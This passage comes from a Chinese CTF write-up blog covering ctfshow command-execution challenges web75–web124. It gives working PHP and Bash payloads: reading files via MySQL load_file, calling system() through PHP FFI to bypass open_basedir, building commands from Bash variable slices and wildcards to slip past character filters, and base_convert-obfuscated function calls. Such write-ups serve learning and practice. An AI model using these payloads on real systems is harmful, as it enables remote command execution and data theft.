        'root');
 
    foreach ($dbh->query('select load_file("/flag36.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

Ctfshow 命令执行 web76

同web75,flag文件名是flag36d.txt

payload:

c=
try {
    $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
        'root');
 
    foreach ($dbh->query('select load_file("/flag36d.txt")') as $row) {
        echo ($row[0]) . "|";
    }
    $dbh = null;
} catch (PDOException $e) {
    echo $e->getMessage();
    exit(0);
}
exit(0);

Ctfshow 命令执行 web77

题目描述:命令执行最后一题,php7.4,基本上命令执行就告一段落了(php7.4应该想到FFI)

看上去和之前一样,只是看上去。

读取根目录:(flag在/readflag文件中)

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}die();

但是PDO那个方法不能用了

这题利用FFI扩展用C语言(?)执行命令,绕过open_basedir 限制。(只限制了PHP的访问目录,不关C语言的事情)

FFI:php7.4以上才有,是PHP的一个扩展。提供了一种在纯PHP中编写PHP扩展和对C库的绑定的方法。

参考文章:
https://zhuanlan.zhihu.***/p/119129348
https://www.php.***/manual/zh/ffi.cdef.php
https://www.php.***/php-weizijiaocheng-415807.html

payload:(记得去掉注释)

$ffi = FFI::cdef("int system(const char ****mand);");//创建一个system对象
$a='/readflag > 1.txt';   //没有回显,需要重定向到文件
$ffi->system($a);       //通过$ffi去调用system函数

Ctfshow 命令执行 web118

题目描述:flag in flag.php

开题。

源码中有提示:system($code);

过滤的有点猛,fuzz一下能用的字符就这些,大写字母加上一些符号。

能用的不多,但是构造Bash内置变量够用。

我们的payload一般是cat/nl等命令+flag.phpflag.php我们可以用通配符代替????.???cat/nl等命令我们可以用Bash内置变量


环境变量PATH一般是/bin,题目路径PWD/var/www/html

正常情况下我们可以利用切片来获得所需要的字母:

echo ${PWD} 
echo ${PWD:0:1}
echo ${PWD:0:3}
echo ${PWD:1:1}
echo ${PWD:2:3}

echo ${PWD:~0:1}          //从末尾开始取一个

但是题目过滤了数字,无法使用切片。换一种方式获取字符。

linux可以利用~获得变量的最后几位(从最后开始获取),使用取反号时,任何字母等同于数字0。

echo ${PWD}
echo ${PWD:~0}
echo ${PWD:~1}
echo ${PWD:~2}
echo ${PWD:~j}
echo ${PWD:~J}

所以,${PATH:~A}${PWD:~A}表示的就是PATH的最后一个字母和PWD的最后一个字母,组合起来就是nl。

payload:

${PATH:~A}${PWD:~A} ????.???

相当于:nl flag.php


其他可行的payload:(第二个是官方给的,自己实践未出)

${PATH:${#HOME}:${#SHLVL}}${PATH:${#RANDOM}:${#SHLVL}} ?${PATH:${#RANDOM}:${#SHLVL}}??.???

${PATH:~A}${PATH:${#TERM}:${SHLVL:~A}} ????.???  

${PATH:~A}${PWD:~A:${##}} ????.???

参考文章:

https://www.***blogs.***/sparkdev/p/9934595.html#title_0

https://blog.51cto.***/allenh/1695810

Ctfshow 命令执行 web119

这题比上题多过滤了PATH

扩展一下Bash内置变量构造字符:

${RANDOM} :随机的几个数

${PWD} :/var/www/html

${USER} :www-data

${HOME} :当前用户的主目录

SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。

RANDOM
此变量值,随机出现整数,范围为0-32767。在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度。例如${#12345}的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此${#RANDOM}可以代替4或者5。

IFS
空格符、tab字符、换行字符(newline) 长度为3。{#IFS}=3

payload:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

就是/???/?a? ????.???

就是/bin/cat flag.php
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

就是/???/??t ????.???

就是/bin/cat flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

就是/???/?????4 ????.???

就是/bin/base64 flag.php

Ctfshow 命令执行 web120

这次直接给了源码,过滤同web119,但是长度限制在64及以内。

web119第一个payload直接打。

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???

就是/???/?a? ????.???

就是/bin/cat flag.php

Ctfshow 命令执行 web121

直接给了源码,不过这次过滤的有点多。

就web119三个payload来看。HOMEUSERSHLVL。被过滤了,前两个影响不大,不用也没事。过滤${#SHLVL}可以用${##}${#?}

payload:

${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???

就是/???/??v ????.???

就是/bin/rev flag.php
${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???

就是/???/?????4 ????.???

就是/bin/base64 flag.php

Ctfshow 命令执行 web122

hint:fuzz

直接给了源码,这次过滤了PWD#,之前所有payload都用不了。

我们选择使用base64来获取flag。(/bin/base64 flag.php,目标是构造构造/???/?????4 ????.???

过滤了PWD,我们还能用HOME。无论HOME是什么(比如/xxx/xxx),HOME的第一位肯定是/

然后我们只需要解决一个如何构造数字的问题。我们需要数字14

我们可以利用$?,获取上一条命令执行结束后的返回值,0代表成功,非0代表失败。非0返回值如下:

"OS error code   1:  Operation not permitted"
"OS error code   2:  No such file or directory"
"OS error code   3:  No such process"
"OS error code   4:  Interrupted system call"
"OS error code   5:  Input/output error"
"OS error code   6:  No such device or address"
"OS error code   7:  Argument list too long"
"OS error code   8:  Exec format error"
"OS error code   9:  Bad file descriptor"
"OS error code  10:  No child processes"
"OS error code  11:  Resource temporarily unavailable"
"OS error code  12:  Cannot allocate memory"
"OS error code  13:  Permission denied"
"OS error code  14:  Bad address"
"OS error code  15:  Block device required"
"OS error code  16:  Device or resource busy"
"OS error code  17:  File exists"
"OS error code  18:  Invalid cross-device link"
"OS error code  19:  No such device"
"OS error code  20:  Not a directory"
"OS error code  21:  Is a directory"
"OS error code  22:  Invalid argument"
"OS error code  23:  Too many open files in system"
"OS error code  24:  Too many open files"
"OS error code  25:  Inappropriate ioctl for device"
"OS error code  26:  Text file busy"
"OS error code  27:  File too large"
"OS error code  28:  No space left on device"
"OS error code  29:  Illegal seek"
"OS error code  30:  Read-only file system"
"OS error code  31:  Too many links"
"OS error code  32:  Broken pipe"
"OS error code  33:  Numerical argument out of domain"
"OS error code  34:  Numerical result out of range"
"OS error code  35:  Resource deadlock avoided"
"OS error code  36:  File name too long"
"OS error code  37:  No locks available"
"OS error code  38:  Function not implemented"
"OS error code  39:  Directory not empty"
"OS error code  40:  Too many levels of symbolic links"
"OS error code  42:  No message of desired type"
"OS error code  43:  Identifier removed"
"OS error code  44:  Channel number out of range"
"OS error code  45:  Level 2 not synchronized"
"OS error code  46:  Level 3 halted"
"OS error code  47:  Level 3 reset"
"OS error code  48:  Link number out of range"
"OS error code  49:  Protocol driver not attached"
"OS error code  50:  No CSI structure available"
"OS error code  51:  Level 2 halted"
"OS error code  52:  Invalid exchange"
"OS error code  53:  Invalid request descriptor"
"OS error code  54:  Exchange full"
"OS error code  55:  No anode"
"OS error code  56:  Invalid request code"
"OS error code  57:  Invalid slot"
"OS error code  59:  Bad font file format"
"OS error code  60:  Device not a stream"
"OS error code  61:  No data available"
"OS error code  62:  Timer expired"
"OS error code  63:  Out of streams resources"
"OS error code  64:  Machine is not on the ***work"
"OS error code  65:  Package not installed"
"OS error code  66:  Object is remote"
"OS error code  67:  Link has been severed"
"OS error code  68:  Advertise error"
"OS error code  69:  Srmount error"
"OS error code  70:  ***munication error on send"
"OS error code  71:  Protocol error"
"OS error code  72:  Multihop attempted"
"OS error code  73:  RFS specific error"
"OS error code  74:  Bad message"
"OS error code  75:  Value too large for defined data type"
"OS error code  76:  Name not unique on ***work"
"OS error code  77:  File descriptor in bad state"
"OS error code  78:  Remote address changed"
"OS error code  79:  Can not a***ess a needed shared library"
"OS error code  80:  A***essing a corrupted shared library"
"OS error code  81:  .lib section in a.out corrupted"
"OS error code  82:  Attempting to link in too many shared libraries"
"OS error code  83:  Cannot exec a shared library directly"
"OS error code  84:  Invalid or in***plete multibyte or wide character"
"OS error code  85:  Interrupted system call should be restarted"
"OS error code  86:  Streams pipe error"
"OS error code  87:  Too many users"
"OS error code  88:  Socket operation on non-socket"
"OS error code  89:  Destination address required"
"OS error code  90:  Message too long"
"OS error code  91:  Protocol wrong type for socket"
"OS error code  92:  Protocol not available"
"OS error code  93:  Protocol not supported"
"OS error code  94:  Socket type not supported"
"OS error code  95:  Operation not supported"
"OS error code  96:  Protocol family not supported"
"OS error code  97:  Address family not supported by protocol"
"OS error code  98:  Address already in use"
"OS error code  99:  Cannot assign requested address"
"OS error code 100:  ***work is down"
"OS error code 101:  ***work is unreachable"
"OS error code 102:  ***work dropped connection on reset"
"OS error code 103:  Software caused connection abort"
"OS error code 104:  Connection reset by peer"
"OS error code 105:  No buffer space available"
"OS error code 106:  Transport endpoint is already connected"
"OS error code 107:  Transport endpoint is not connected"
"OS error code 108:  Cannot send after transport endpoint shutdown"
"OS error code 109:  Too many references: cannot splice"
"OS error code 110:  Connection timed out"
"OS error code 111:  Connection refused"
"OS error code 112:  Host is down"
"OS error code 113:  No route to host"
"OS error code 114:  Operation already in progress"
"OS error code 115:  Operation now in progress"
"OS error code 116:  Stale NFS file handle"
"OS error code 117:  Structure needs cleaning"
"OS error code 118:  Not a XENIX named type file"
"OS error code 119:  No XENIX semaphores available"
"OS error code 120:  Is a named type file"
"OS error code 121:  Remote I/O error"
"OS error code 122:  Disk quota exceeded"
"OS error code 123:  No medium found"
"OS error code 124:  Wrong medium type"
"OS error code 125:  Operation canceled"
"OS error code 126:  Required key not available"
"OS error code 127:  Key has expired"
"OS error code 128:  Key has been revoked"
"OS error code 129:  Key was rejected by service"
"OS error code 130:  Owner died"
"OS error code 131:  State not recoverable"
"MySQL error code 132: Old database file"
"MySQL error code 133: No record read before update"
"MySQL error code 134: Record was already deleted (or record file crashed)"
"MySQL error code 135: No more room in record file"
"MySQL error code 136: No more room in index file"
"MySQL error code 137: No more records (read after end of file)"
"MySQL error code 138: Unsupported extension used for table"
"MySQL error code 139: Too big row"
"MySQL error code 140: Wrong create options"
"MySQL error code 141: Duplicate unique key or constraint on write or update"
"MySQL error code 142: Unknown character set used"
"MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table"
"MySQL error code 144: Table is crashed and last repair failed"
"MySQL error code 145: Table was marked as crashed and should be repaired"
"MySQL error code 146: Lock timed out; Retry transaction"
"MySQL error code 147: Lock table is full;  Restart program with a larger locktable"
"MySQL error code 148: Updates are not allowed under a read only transactions"
"MySQL error code 149: Lock deadlock; Retry transaction"
"MySQL error code 150: Foreign key constraint is incorrectly formed"
"MySQL error code 151: Cannot add a child row"
"MySQL error code 152: Cannot delete a parent row"

执行<A等命令会因找不到目录或者文件执行失败,返回值是1,$?获取上一条命令执行结束后的返回值就是1。我们就成功构造出了数字1。

总结一下:先<A;在然后的$?就是1

数字4还是用RANDOM随机数来获取,不过是换种方式,1/10的概率,多发几次包。

payload:(${Z}代表0)

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

code=<A;${HOME:${Z}:$?}???${HOME:${Z}:$?}?????${RANDOM::$?} ????.???

Ctfshow 命令执行 web124

直接给了源码。是前几年国赛的一道题。但是这题flag就在当前目录。

详细wp请看:

payload合集:

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat flag.php

?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))

?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20flag.php

$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})
//要在请求头里面加一个  1:tac flag.php  见下图

命令执行篇完结收工!(2023.8.20)

转载请说明出处内容投诉
CSS教程_站长资源网 » Ctfshow web入门 命令执行RCE篇 web29-web77 与 web118-web124 详细题解 全

发表评论

欢迎 访客 发表评论

一个令你着迷的主题!

查看演示 官网购买